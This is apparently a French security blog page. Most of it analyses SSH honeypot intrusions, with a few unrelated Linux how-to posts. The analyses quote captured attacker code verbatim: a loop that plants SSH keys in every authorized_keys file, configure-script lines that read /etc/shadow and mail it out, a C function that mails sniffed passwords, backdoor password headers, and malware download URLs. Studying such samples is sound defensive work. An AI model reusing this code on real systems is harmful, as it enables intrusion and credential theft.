photo of devloop

devloop :: blog

sécurité informatique, programmation, Linux et plus encore

Subscribe to RSS feed

Making fun of script kiddies

, , , ...

Introduction

Analyser les logs de mon honeypot SSH est semble t-il devenu ma nouvelle occupation du dimanche bigsmile

Je m'amuse souvent à observer les erreurs et l'incompétence de ces visiteurs qui donnent souvent l'impression de taper des commandes sans savoir réellement ce qu'elles font.

Déjà rien qu'au nouveau des mots de passe utilisés pour les attaques brute-force des comptes SSH ça vaut le coup d'œil !
Là où une personne normalement constituée utiliserait les mots de passe les plus fréquents pour gagner du temps et augmenter ses chances de réussite, certains des intrus se bornent à utiliser une liste de mots de passe "from outter space" dont on peut être sur que le nombre d'utilisateurs de ces mots de passe se comptent sur les doigts d'une main à travers la planète !
Résultats : ils passent 2 heures à tenter de casser un compte sans y parvenir alors que le mot de passe du honeypot est 123456, soit le mot de passe connu pour être le plus utilisé dans le monde entier...

Dans cette faune très particulière on trouve aussi ceux qui sentent le besoin de "taguer" leurs visites en ajoutant dans la liste de leurs mots de passe un message avec leur pseudo ou le nom de leur team de script-kiddies...
Le pire c'est de se dire qu'ils ont conscience qu'ils peuvent être surveillés mais semble pourtant tout ignorer de l'existence des honeypots.

Enfin, autre perle rencontrée une fois : l'attaquant a certes une liste de mots de passe valides mais manque de bol (pour être gentil), le fichier n'est pas formaté comme il faut pour le logiciel de brute-force.
Le soft en question est bien-sûr compilé pour Linux mais la pass-list est formatée avec retour charriot à la mode windows, le pseudo hacker ne l'ayant pas converti avec unix2dos... Résultat au lieu d'envoyer le mot de passe 123456 il envoit 123456^V et ainsi de suite pour toute sa liste bigsmile

Mais passons l'introduction et entrons dans le vif du sujet avec mes dernières visites smile

Attaque 1

De toute évidence des hackers roumains. Les attaques brute-force SSH sont très en vogue chez eux.
Cassage du mot de passe réussie avec l'adresse IP 202.131.124.10. S'ensuit une connexion directe par l'IP 94.144.63.2.
Le visiteur rappatrie l'archive http://gr4n34.110mb.com/zyz.tgz.
On y trouve un log-cleaner très peu discret, codé par un débutant. L'outil se nomme "LOG/Rest Cleaner by zYztem @ v1".
Espérons qu'il aura appris la programmation avant de sortir la version 2 p

Il télécharge ensuite l'archive http://gr4n34.110mb.com/fake.tgz contenant un script qui ajouter un user "ftpd". Il récupère aussi un fichier sudoers depuis l'adresse 82.77.140.6/live/sudoers (qui ne répond pas).
L'opération est très peu discrète et peut être catastrophique car il supprime le précédent fichier sudoers pour mettre le sien à la place... Pas mieux pour se faire remarquer.
Après une rapide recherche sur google je détermine que l'IP qui ne fonctionne plus correspond au site underworld.homeunix.org.
Un peu de google dorking de plus et on parvient à obtenir la liste des supers tools (mouarf) présentes sur le site... du code archi-connu détecté par tous les AVs dans le style bot irc tsunami/kaiten, script de flood udp.pl, mirc, psybnc, energymech & co.
Circulez, il n'y a rien à voir !

Attaque 2

Brute force provenant de 115.110.25.58 et suivi dans la foulée d'une cnx directe par 216.166.47.148.
Téléchargement de l'archive http://irc1.at.ua/bot.tgz qui contient un energymech et ses fichiers de conf, l'éditeur de texte pico que les script-kiddies semblent ettement apprécier et un programme mystérieux dénommé "stealth".
Quand on lance un strings sur le binaire on trouve notamment la chaine "This tool is extremely dangerous. Use at your own risk!".
Une recherche sur Google révèle que le programme a déjà été retrouvé sur des serveurs et que niveau discrétion on trouve mieux puisque une fois lancé il arrive rapidement à utilisation de 100% du CPU !
Mais alors que fait ce programme extrêmement dangereux ?
C'est là que ça devient drôle : une fois désassemblé on se rend compte que le proggie se connecte à un serveur et un port pris en argument et envoie en boucle la chaine "0123456789ABCDE" bigsmile
J'en ai encore mal aux abdos rien que d'y penser p

Attaque 3

L'intrus récupère un logcleaner du même acabit que le précédent. On trouve dedans les chaines Dark LogRemover Version 1.0, Coded by Darker et Macedonian Dark Security.
Sans intérêts...

Attaque 4

Connexion directe (le mdp a été cassé précédemment) provenant de l'IP 79.115.143.213 puis récupération de l'archive http://ripkid.altervista.org/smtp.tgz.
On y retrouve le classique syn-scanner détecté par AVG comme Linux/Shark.A, compilé statiquement avec la librairie pcap et strippé.
Ce qui est intéressant ce sont deux scripts perl présents : le fichier start récupère les résultats de scans effectues sur le port 25 et lance en parallèle (jusqu'à 200 processus) un script perl 'process' qui brute force des comptes pop3 (basé sur l'utilisation d'un fichier users.txt contenant des credentials).
Ça nous change un peu du tout SSH et d'après les logs c'est relativement fructueux. Certaines personnes sont peu regardantes sur la sécurité de leurs comptes mails (surtout si le compte est utilisé pour des pubs etc)
Du coup j'ai posté les deux scripts sur paste 2 :
http://paste2.org/p/1886657
http://paste2.org/p/1886658

Attaque 5

Le petit curieux récupère l'archive http://www.grigoreworld.com/marius/bnc.jpg destinée à être extraite dans /dev/shm.
Elle contient un psybnc (binaire nommé -bash) + un fichier crontab pour le lancer régulièrement.
Il contient un script perl nommé "target" qui est un bot IRC (en plus du psybnc) capable de lancer
des attaques DoS très très (mais alors vraiment très) basiques et faire des recherches spécifiques sur google du type
"inurl:modules.php?name=SQuery site:.com" (avec le tld changeant selon une liste prédéfinie).
Il s'agit d'un google dork pour une faille datant... de juillet 2006. M'est avis que sur les sites faillibles il n'y a que le train qui n'est pas passé.
Le script perl est détecté comme PERL/ShellBot par AVG et ClamAV.

Attaque 6

Rien d'intéressant. Téléchargement d'un fichier fox.tgz qui créé un dossier "/usr/share/locale/jp/. /" où se place un energymech que AVG détecte comme Linux/Mech.A + un script pour l'ajouter à la crontab. Bref que du déjà vu.

Attaque 7

Ni plus ni moins que l'attaque 5...
L'archive bo.tgz contient le shellbot.pl qui exploite la faille SQuery avec une url du type /SQuery/lib/gore.php?libpath=
J'ai mis le script sur paste2 pour les curieux.

Attaque 8

On a ici affaire à du top niveau bigsmile (oui je suis taquin)
Le pirate que j'ai baptisé "jess" a l'adresse IP 46.166.157.164.
A peu près tout son matus est détecté par les antivirus :
Linux/Shark.A : le classique synscanner
Linux/Sshscan.A : l'outil de brute force ssh
sans compter le scanner tcp pscan2 infecté par Trojan.Linux.RST.b (incroyable qu'on trouve encore des binaires infectés par RST après autant d'années).

Le script bash baptisé "scam" est une horreur de programmation. Notons juste qu'il envoi des données vers l'adresse mail mafia89tm@yahoo.com.

Un essaye de récupérer un fichier tgz... seulement l'url n'est pas bonne ou le site fermé ou une autre raison... peu importe.
Ce qui est drôle c'est qu'il ne s'étonne pas de voir wget lui indiquer que le fichier fait 3Ko et est de type text/html... forcément quand il tente d'extraite l'archive avec tar ça ne pas fonctionner...
Il va pourtant taper 4 fois la même commande pour essayer de faire une opération impossible.

C'est tellement bon que j'en ai fait une capture postée sur Vimeo.

Mais Jess n'est pas du genre à abandonner... Il revient donc à la charge... Et il a... UNE AUTRE URL !
Mais manque de bol (décidément) ça ne fonctionne pas plus... Qui plus est il déclenche un petit message que j'ai rajouté à Kippo à l'attention de certains de mes visiteurs.
Du coup, pris de panique il se déconnecte. C'est en vidéo ici bigsmile

Là on se dit qu'il a compris qu'il est sur un honeypot. Il faudrait vraiment être c** pour ne pas s'en rendre compte.
Pourtant, 4 jours plus tard, sans doute le temps de travailler ses skills en wget, il revient avec l'IP 93.104.129.190 et récupère l'archive csservers.ro/redirecte_linux_v2.0.tar.gz et ça marche \o/
L'archive contient des binaires visiblement codés en C++ qui contiennent les strings suivantes :
wget --quiet -O - http://www.csservers.ro/mod.php?qwerty=%s/%s/%d
wget --quiet -O - http://www.csservers.ro/harta.php?asdfg=%s/%d
wget --quiet -O - http://www.csservers.ro/valoare_update.php
Le site http://www.csservers.ro/ semble destiné au jeu Counter Strike. J'analyserais plus en détail les binaires quand j'aurais le temps ;-)

Rediriger le cache de Chromium sous Linux

, , ,

EDIT: L'opération n'est pas aussi facile que prévue car Chromium ne semble finalement pas suivre les spécifications XDG...
J'ai trouvé une solution fonctionnelle via le code source du navigateur.
Dans le fichier .config/chromium/Default/Preferences, il faut ajouter l'entrée suivante sous la section appellée "browser" :
"disk_cache_dir": "/tmp/.chromium_cache"

Virgule à ajouter si besoin.

Article original
Les navigateurs Google Chrome et Chromium enregistrent par défaut leurs fichiers de cache dans un sous dossier du répertoire .cache lui-même situé dans le home directory de l'utilisateur.
Ce dosssier .cache contient comme son nom l'indique les fichiers de cache utilisés par différentes applications comme Audacious, MPlayer, VLC, Openbox ou encore le logiciel de téléchargement torrent Transmission.

Pour une quelconque raison on peut avoir envie de déplacer ce dossier de cache. Son paramétrage est fait par le biais de XDG qui défini un ensemble de règles dans l'organisation des dossiers sous Linux.

Les chemins des différents dossiers utilisés par XDG sont définis dans le fichier .config/user-dirs.dirs de l'utilisateur.
On pourra alors ajouter la ligne suivante pour faire déplacer les fichiers de cache vers le dossier /tmp/.cache :
XDG_CACHE_HOME="/tmp/.cache"

Un redémarrage du système (ou à défaut du gestionnaire de fenêtres) est conseillé pour être certain que toutes les applications prennent en compte ce changement.

Compiler de l'Objective-C sous Mint (Debian)

, , ,

Je me suis frotté au problème de compiler un simple Hello World en Objective-C (appel à NSLog) sous Linux.
Après quelques recherches et tests, voici comment j'y suis parvenu :

Installation des paquets gobjc, gobjc++, libobjc2 et libojc3.
Installation de gnustep-base-common, gnustep-base-runtine, gnustep-common, gnustep-gui-common, gnustep-gui-runtime et gnustep-make
Installation de libgnustep-base-dev, libgnustep-base1.22, libgnustep-gui-dev et libgnustep-gui0.20

Certains de ces paquets étant dépendants d'autres, l'installation devrait se faire en ne sélectionnant qu'une partie mais je n'ai pas fait le tri.

Lors de la compilation au aura recours au programme gnustep-config avec l'option --objc-flags qui permet d'obtenir la liste de tous les flags (ou presque) à passer à gcc pour compiler en Objective-C.
La commande pour notre Hello World ressemblera à ceci :

gcc -o hello hello.m `gnustep-config --objc-flags` -lgnustep-base -lobjc


Sous Mac OS X, l'opération est plus simple et se fera avec
gcc -o hello hello.m -framework Foundation


Edit :
J'ai aussi rencontré des problèmes avec l'installeur GNUstep pour Windows... On aurait pensé qu'ils auraient fourni un système prêt à l'emploi... Il n'en est rien. En plus des commandes à passer comme sous Linux, il faut aussi spécifier le chemin des librairies :
gcc -o hello hello.m `gnustep-config --objc-flags` -L/GNUstep/System/Library/Libraries/ -lgnustep-base -lobjc

openSUSE 12.1 : Not MacGyver ready

,

Toujours fidèle à la distribution Linux openSUSE, je me suis lancé dans l'aventure de la mise à jour via le réseau par le biais d'un zypper dist-upgrade.

J'étais plutôt confiant mais le résultat au premier abord était catastrophique, le système montant juste les systèmes de fichiers de base avant de rendre la main sur un mode recovery.

Pas de réseau, pas d'accès aux données chiffrées... J'ai d'abord pensé à des paquets cassés puisque le seul message d'erreur obtenu semblait correspondre à l'absence d'un script de sysconfig.
Mais après vérification le script était bien présent et exécutable... J'ai réactivé le réseau (modprobe forcedeth & ifup eth0) puis réinstallé de force les paquets sysconfig et systemd sans obtenir plus de résultats.
J'ai recherché les éventuelles incohérences dans les paquets systèmes installés mais tout était clean.

Finalement en repassant le système d'init utilisé à ce bon System V (via la touche F5 quand on est sur Grub), tout fonctionnement normalement malgré la présence du même message d'erreur (un bug de la distrib puisque d'autres personnes ont eu le souci d'après les forums officiels).

Comme quoi openSUSE 12.1 n'est pas encore prête pour le système D p

Une fois booté, gros problème de performances, le système était d'une lenteur infernale. J'ai remarqué un nombre trop importants de processus avgscand...
Après avoir supprimé AVG pour réinstaller la dernière version disponible, tout est rentré dans l'ordre.

J'ai remarqué peu de changements graphiques puisque j'utilise LXDE et non KDE, si ce n'est les couleurs de YaST (plus de verts) et les fenêtres Opera (basé sur Qt) plus carrées (sans doute une histoire de réglages).

Pour ce qui est des logiciels cassés, je n'ai croisé que Tor qu'il a fallu recompiler en raison de la mise à jour de la libevent et Audacious (à recompiler aussi, pb avec Alsa).

Donc hormis quelques sueurs froides tout va bien.

Ceux qui rencontreraient le même problème peuvent se baser sur les release notes :

Booting with systemd or sysvinit
By default, openSUSE now boots using systemd. In case of trouble, you can switch back to the old way using sysvinit by pressing the F5 key on the boot.
If you want to switch to sysvinit permanently, install the sysvinit-init package. To switch back to systemd, reinstall the systemd-sysvinit package.

Installer Java 7 d'Oracle sous openSUSE 11.4

, , ,

Depuis les changements de licence décidés par Oracle concernant la machine virtuelle Java, les distributions Linux ne peuvent plus proposer de paquets à jour, ce qui est très gênant question compatibilités (du moins d'ici quelques temps) et sécurité !

Du coup je me suis décidé à installer le RPM du JDK (le kit de développement qui contient aussi le JRE) téléchargeable sur le site d'Oracle.
Si l'installation du rpm en elle-même ne pose aucun problème (rpm -Uvh jdk-7u1-linux-x64.rpm), on ne peut pas dire qu'Oracle ait peaufiné le script d'install pour rendre Java prêt à l'emploi... Une fois de plus les Windowsiens ont droit à du point-and-click et les Linuxiens sont délaissés et doivent mettre les mains dans le cambouis !

Ainsi tout les liens présents dans /etc/alternatives qui permettent au système de rediriger les exécutables vers la nouvelle version de Java ne sont pas mis à jour. Un peu comme si sous Windows vous installiez un logiciel mais aucune entrée n'était ajoutée dans la base de registre, aucun raccourci n'était créé sur le bureau ou dans le menu démarrer etc.

J'ai donc décidé de bricoler un petit script de post-installation du RPM qui se charge de créer les liens nécessaires à l'utilisation de Java 7.

Le RPM d'Oracle créé un lien symbolique /usr/java/default qui pointe vers la bonne version de Java. En se basant sur ce chemin pour recréer les liens on peut rapidement faire pointer les binaires dans la bonne direction.

Mon script a été testé sur openSUSE 11.4 (architecture amd64) avec le JDK 64bits aussi. Il y a des commandes spécifiques à openSUSE et à l'architecture 64 bits mais c'est facilement adaptable smile

Le script est téléchargeable ici.
Avis aux amateurs smile
Il est aussi sur paste2

Un mot russe par jour pendant un an

, , , ...

Je vous annonce que j'ai dépassé le seuil des 365 mots sur mon site de vocabulaire russe illustré soit l'apprentissage d'un mot par jour pour ceux qui souhaiteraient apprendre tout doucement smile
J'espère bien atteindre les 500 mots si je n'arrive pas à court d'idées p
Chaque mot est accompagné de son lien avec la prononciation à écouter sur le site Forvo ainsi que la présence de l'accent marqué en rouge.

Kippo : Visiteur du 2 octobre 2011

, , , ...

Le visiteur a d'abord désactivé l'historisation du terminal puis a téléchargé une archive ssh.tar qui est sensiblement la même que celle du dernier visiteur. Aussi je vous renvoi au précédent article sur le sujet.

On retrouve le fichier backdoor.h avec un contenu différent :
#define BACKDOORPASSWD          "3.9p1"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE "/etc/ssh/.sshd_auth"
#define PASSWORDS_LOG_FILE2 "/usr/lib/.sshd.h"
int backdoor_active;

Un fichier ppk.so dont l'extension m'a semblé immédiatement suspicieuse et dont le contenu est du texte :
for i in `cat /etc/passwd | cut -d":" -f6 | grep home 2>/dev/null` ; do
mkdir -p $i/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBoyu02vQ6BxJrL2CE6RQk8+XWRpooJs+cJLom/U0sirHiEQB9lIyzDGDv5tA0e1JTNe9L6tszMwWy9IzsRblHUx711v362NGBx9gDjMyvqk/g7r2fn26ohN7Xybd/Bk3aI7oVQJEqGFLPIANZRdCpjcP3TdDhOwYelWNePGK/tYQ== localhost' >> $i/.ssh/authorized_keys
done
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAo2bGEi2NrVAhVPBtv4wSY0UB1EE/dWw2uGS819tTVY0a4HKKhEdVL7EafaF5boKKiIXRbFqsHBuNl66bCfZvZ8kbZ/I+tuD+whdn8v0oT5QwHRdwPUbmSqECHI4u9s4H5dsSyzPS0417Y42ZDT9SdrnBwh8vQVOUTzlcxYNWvT8= localhost' >> /root/.ssh/authorized_keys


Le fichier "configure" pour compiler le ssh backdooré est bien évidemment lui-même backdooré... Un œil un tant soit peu attentif remarque des lignes rajoutées à environ 4% de ce gros script généré par autoconf...
echo "[Shadow or Master.Passwd]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/shadow >> mailstuff 2>/dev/null
cat /etc/master.passwd >> mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Passwd]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/passwd >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Parola backdoor si fisiere de sniff]" >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat backdoor.h >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
echo "[Port SSH]">>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat /etc/ssh/sshd_config | grep Port >>mailstuff 2>/dev/null
echo >>mailstuff 2>/dev/null
cat mailstuff | mail -s "`uname -ns`" rootbox77@yahoo.com 2>/dev/null


Ici le pirate qui voudrait utiliser ce kit partagerait bien malgré lui son accès avec rootbox77@yahoo.com.
On trouve ensuite un fichier shs.c qui est une backdoor setuid locale très basique ainsi qu'un binaire baptisé "misc" qui est une simple backdoor avec gestion de terminal qui bind() par défaut sur le port 1230 et accepte une connexion si on lui donne le password "sh2". AVG détecte ce binaire comme Linux/BdSmall.BF. Linux Malware Detect le connait aussi.

Ensuite il a téléchargé une seconde archive, tuxkit.tar, qui est un rootkit qui remplace les binaires à l'instar de SHV5.
Je vous fait cadeau du REAME et du script d'install.

Pour terminer, il a récupéré le binaire ss que l'on retrouve souvent, un syn-scanneur (scanneur de ports furtifs)
En dehors de ça, les commandes qu'il a lancé était sans grand intérêt...

Kippo : Visiteur de 24 juin 2011

, ,

Aujourd'hui j'ai reçu la visite matinale (7h15) sur mon honeypot Kippo d'un intrus vraisemblablement roumain (le brute force de comptes SSH c'est un peu leur spécialité)...

Après avoir désactivé l'historisation du terminal, supprimé lastlog et lancé les commandes classiques (w, update, uname -a, ls, pwd, cat /etc/issue...) il a tenté d'utiliser la commande "ip" du package iproute2, ce qui est assez inhabituel (la plupart des linuxiens ont la vieille manie de se servir d'ifconfig).
Le honeypot lui a répondu que la commande n'était pas sur le système... un manque qu'il faudra corriger à l'avenir p

Ensuite il a créé un dossier caché .sh dans /etc/security et y a téléchargé l'archive donche.de/x/pit.tgz et la extrait.
Cette archive contient les sources d'un serveur SSH modifié ainsi que quelques binaires résultants d'une précédente compilation (il y a encore les fichiers objets .o).

Il m'aura suffit d'un grep strcmp *.c pour trouver la trace de la backdoor. Le grep renvoyant quelques lignes de ce type :
if(strcmp(password, BACKDOORPASSWD) == 0)

On remarque que les fichiers comportant ces instructions incluent l'entête backdoor.h dont le contenu est le suivant :
#define BACKDOORPASSWD          "uniserver.root.2145"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE "/usr/share/sshd.sync"
#define EMAIL "mucleus@ymail.com"
int backdoor_active;

Si on farfouille dans le code on trouve bien sûr lors de l'utilisation du mot de passe spécifié la désactivation des enregistrements dans les journaux SSH et bien sûr le shell donné avec l'UID/GID 0 (session.c).

Comme vu dans backdoor.h, les identifiants des utilisateurs sont sauvegardés dans le fichier /usr/share/sshd.sync. La procédure prend place dans le fichier auth-passwd.c.
Il est aussi amusant de remarquer que quand le pirate utilise sa backdoor, une commande est lancée pour immédiatement lui afficher le contenu de ce fichier :
if(backdoor_active){
  mosu=fopen(PASSWORDS_LOG_FILE, "r");
  if (mosu) {
    while ((c=fgetc(mosu)) != EOF)
      if (c=='\n' || c=='\r') cacat++;
    fclose(mosu);
    printf("\n\r%d servers sniffed...\n",cacat);
    printf("\n just a litlle muculus Energy\n");
    printf("\r\rWelcome muculica\n");
  }
}

Le client SSH est aussi backdooré. Ainsi si quelqu'un se connecte sur le serveur, un enregistrement se fait avec le format "login at: %s %s:%s\n" et si quelqu'un fait une connexion sortante à l'aide du client le formatage est "outgoing : %s %s:%s\n".

Pour terminer on trouve cette fonction qui parle d'elle-même :
int mailpwd(char ip[], char user[], char pass[])
{
  char comanda[513] = "";
  strcat(comanda, "echo \"");
  strcat(comanda, ip);
  strcat(comanda, " ");
  strcat(comanda, user);
  strcat(comanda, ":");
  strcat(comanda, pass);
  strcat(comanda, "\" | mail -s \"Salut sefu, am noutati\" ");
  strcat(comanda, EMAIL);
  return system(comanda);
}

Le pirate a ensuite voulu éditer le programme d'installation inst avec nano puis pico.
Voyant qu'aucun des deux n'était disponible il a installé nano avec apt-get. Bien sûr Kippo fait semblant de l'installer dont ça ne fonctionnait pas plus.
Croyant que c'était une défaillance de apt-get, notre intrus a eu dans l'idée d'installer yum par apt-get... Une habitude qui me semble complètement roumaine car à de nombreuses reprises j'ai vu des visiteurs appeler yum alors qu'ils savaient pourtant qu'ils étaient sur Debian ^_^. Sans doute que Fedora est très utilisée là-bas.
Quoiqu'il en soit installer un autre gestionnaire de paquets uniquement pour installer nano... c'est idiot.

Finalement il a lancé le script inst sans l'éditer. Je l'ai posté sur paste2 et soumis à Linux Malware Detect.

Le script installe aussi dsniff pour loguer les mots de passe qui transiteraient en clair par la machine.
Concernant les binaires zcut et zmuie, pas besoin de sortir de polytechnique pour devenir à quoi ils servent : un simple strings dévoile qu'il s'agit de backdoor setuid locales...

Chaines présentes dans zcut :
/lib/ld-linux.so.2
libc.so.6
printf
system
setgid
_IO_stdin_used
__libc_start_main
setuid
__gmon_start__
GLIBC_2.0
PTRh
 W E L C O M E 
 master
/bin/bash

et dans zmuie :
/lib/ld-linux.so.2
libc.so.6
unsetenv
printf
__cxa_finalize
getpass
system
fflush
__deregister_frame_info
stdin
setgid
strncmp
seteuid
exit
_IO_stdin_used
__libc_start_main
strlen
setuid
__register_frame_info
__gmon_start__
GLIBC_2.1.3
GLIBC_2.0
PTRh`
Enter ze password: 
        ACCESS GRANTED
/root
HOME
/bin/sh
HISTFILE
HISTSIZE
HISTSAVE
Wrong password
muieba

Quand à zap, le nom parle de lui-même et AVG le détecte comme Linux/CleanLog.H.

La backdoor sebd est plus difficile à analyser mais fonctionne grosso-modo comme ce code.
C'est une backdoor qui ouvre l'interface réseau en mode RAW ce qui lui permet de lire tout le trafic qui passe sur la machine. En l'occurrence, la backdoor attend que la chaine "polI0ZyPHBeAc\0" soit capturée sur le réseau.
Si elle est trouvée elle regarde qu'elle adresse IP a émise le paquet correspondant et va envoyer un shell en connect back sur le port TCP 3311.
Pour tester son fonctionnement on peut lancer le binaire avec strace (faire une analyse statique au préalable ou lancer depuis une machine virtuelle) puis envoyer le paquet avec echo -e "polI0ZyPHBeAc\0" | nc localhost <n'importe quel port TCP ouvert> et parallèlement mettre en écoute netcat sur le port TCP 3311.
Ce type de backdoor est particulièrement efficace pour bypasser les firewalls puisqu'elle n'ouvre pas de ports sur la machine et ne fait des connexions sortantes qu'à la demande.
En revanche elle enregistre son pid dans le fichier /dev/hdsmat ce qui est suspect : un fichier non-périphérique dans /dev est facilement détecté par des outils de sécurité, d'ailleurs une recherche sur Google révèle que chkrootkit remonte ce type d'abus.

On peut aussi retrouver des backdoors de ce type avec la commande suivante :
netstat -ap | grep raw

sebd change aussi nom de processus par réécriture de argv[0] (techniquement recopie argv[1] dans argv[0]).

C'est tout ce qu'il y a à dire sur les binaires. Pour revenir au script inst, on note l'ajout de la ligne suivante dans /etc/shadow :
bim:$1$9Dgpq2Sq$cNZ5NFEqel7wuFkokBDym1:14884:0:99999:7:::

Enfin le script doit être vérolé puisque des infos de config du système et du SSH backdooré sont envoyés vers une adresse mail différente de la précédente (brianfrus@gmail.com).

En conclusion, pour une fois un visiteur plus intéressant que la moyenne avec des outils plus évolués mais encore loin des codes 0days...

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

, , , ...

Je continue dans mes analyses de logs de honeypot.
Le dernier intrus à voulu installer un rootkit.

L'article étant un peu long, je l'ai mis en ligne sur mon site sourceforge :

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Bonne lecture.

Kippo : Visite de fin juin 2011

, ,

Après des attaques brute force réussies sur le honeypot SSH le 26 et 27 juin, un visiteur établie une connexion directe le 27 en début d'après midi avec l'IP 172.190.13.22.

Les commandes qu'il tape sont les suivantes :
w
last
screen -r
ls
ls -a
mkdir .vn
cd .vn
wget http://www.fincasanfranciscomarbella.com/goshNEW.tgz
cat /proc/cpuinfo
tar zxvf goshNEW.tgz
ifconfig
rm -rf goshNEW.tgz
cd goshNEW
ls
./go.shA 109

Dans l'archive on trouve entre autres 10 fichiers texte contenant des couples logins / mdps. Je ne m'attarderais donc pas sur le sujet.

Le script go.shA appelé par notre visiteur contient le texte suivant :
./ss 22 -a $1 -i eth0 -s 10
cat bios.txt |sort | uniq > mfu.txt
./ssh-scan 300
rm -f bios.txt

L'exécutable ss qui est lancé par le script s'avère être un scanneur de ports TCP furtif : TCP Syn Scanner.
On notera que dans le binaire compilé statiquement on ne trouve pas de référence à son auteur comme c'est le cas dans la source. Soit ils l'ont compilé eux même soit ils ont utilisé le binaire fournit par l'original (pour les lamers pour le citer).

Je passe rapidement sur ce scanneur : l'idée est bonne même si ce n'est pas le premier syn-scanneur. L'auteur aurait aussi pu inclure getopt pour les arguments et des appels à la libpcap devrait se trouver dans un des blocks conditionnel après le fork() plutôt qu'en dehors... mais je chipote.

Les options passées indique de scanner une plage d'adresse de classe A (d'où le nom du script go.shA) sur le port 22 avec le nombre maximum de processus simultanés (10).
Il en résulte un fichier bios.txt (le nom du fichier n'a pas été changé depuis la source donc on pourrait confirmer qu'ils n'ont pas compilé le code eux même) qui contient les adresses IPs de machine avec le port 22 accessible.
Ce fichier est trié, on en retire les doublons et il devient mfu.txt.

Ce nouveau fichier est chargé par le binaire suivant au nom explicite (ssh-scan). Après analyse rapide des chaines de caractères dans l'exécutable on voit qu'il est compilé statiquement avec libssh et pthreads.
Il pourrait très bien s'agir de ce programme sur packetstorm sauf que bien sûr les références aux auteurs originaux ont changé (le plagiat est plus que fréquent dans ce domaine).
Les mots présents dans le binaire laisse deviner que les intrus sont roumains. Une recherche sur Google nous révèle que le binaire doit tourner depuis un moment sur le réseau. On trouve même des commandes iptables ou des règles Snort pour le bloquer.

Il y a d'autres scripts bash dans l'archive mais la décence envers ceux qui aime la programmation m'empêche de divulguer leur contenu (ignorance des boucles for et des variables de shell spéciales).
On trouve aussi le scanneur pscan2 qui est un grand classique que j'ai déjà évoqué une autre fois.

Le rapport AVG des fichiers est le suivant :
./ss Virus identified Linux/Shark.A
./ssh-scan Virus identified Linux/Sshscan.A
Pour ClamAV, pscan2 est infecté par RST.b.

Conclusion : les intrus ne font pas grand chose pour se renouveler. Leurs binaires sont connus pour être des malware et sont filtrés par des IDS comme Snort. Comme souvent dans ce type d'attaque ils exploitent uniquement le laxisme ou les méconnaissances et terme de sécurité des administrateurs des machines.